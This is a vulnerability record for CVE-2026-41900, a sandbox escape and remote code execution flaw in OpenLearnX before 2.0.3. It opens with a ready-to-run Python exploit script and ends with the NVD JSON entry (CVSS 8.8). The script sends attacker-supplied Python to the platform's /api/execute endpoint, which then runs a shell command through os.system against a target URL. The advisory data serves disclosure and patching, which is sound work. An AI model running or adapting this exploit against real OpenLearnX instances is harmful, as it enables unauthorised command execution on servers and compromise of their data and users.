CVE-2026-41900

import requests # Exploit Title: OpenLearnX < 2.0.3 - Remote Code Execution (RCE) via Sandbox Escape # Date: 2026-05-08 # Exploit Author: Analyst # Vendor Homepage: https://github.com/th30d4y/OpenLearnX # Version: < 2.0.3 # Tested on: Linux/Unix def exploit(target_url, command): """ Exploit function to send malicious payload to OpenLearnX execution environment. """ # The endpoint that handles code execution execute_endpoint = f"{target_url}/api/execute" # Payload designed to break out of the sandbox and execute a shell command # This assumes the sandbox fails to restrict 'os' module or similar primitives malicious_code = f""" import os os.system('{command}') """ payload = { "code": malicious_code, "language": "python" } try: print(f"[*] Sending payload to {execute_endpoint}...") response = requests.post(execute_endpoint, json=payload, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Response from server:") print(response.text) else: print(f"[-] Exploit failed. Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": # Example usage target = "http://vulnerable-openlearnx-instance.com" cmd = "id" # Command to execute on the host exploit(target, cmd)

{"cve": {"id": "CVE-2026-41900", "sourceIdentifier": "[email protected]", "published": "2026-05-08T04:16:18.710", "lastModified": "2026-05-08T16:08:15.570", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenLearnX is an open-source, decentralized learning and assessment platform. Prior to version 2.0.3, a remote code execution (RCE) vulnerability was identified in the OpenLearnX code execution environment, allowing sandbox escape and arbitrary command execution. This issue has been patched in version 2.0.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}, {"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-250"}, {"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-693"}]}], "references": [{"url": "https://github.com/th30d4y/OpenLearnX/commit/14765d7d1856d564747c55c5412e2f38feab079e", "source": "[email protected]"}, {"url": "https://github.com/th30d4y/OpenLearnX/releases/tag/v2.0.3-security-fix", "source": "[email protected]"}, {"url": "https://github.com/th30d4y/OpenLearnX/security/advisories/GHSA-8h25-q488-4hxw", "source": "[email protected]"}]}}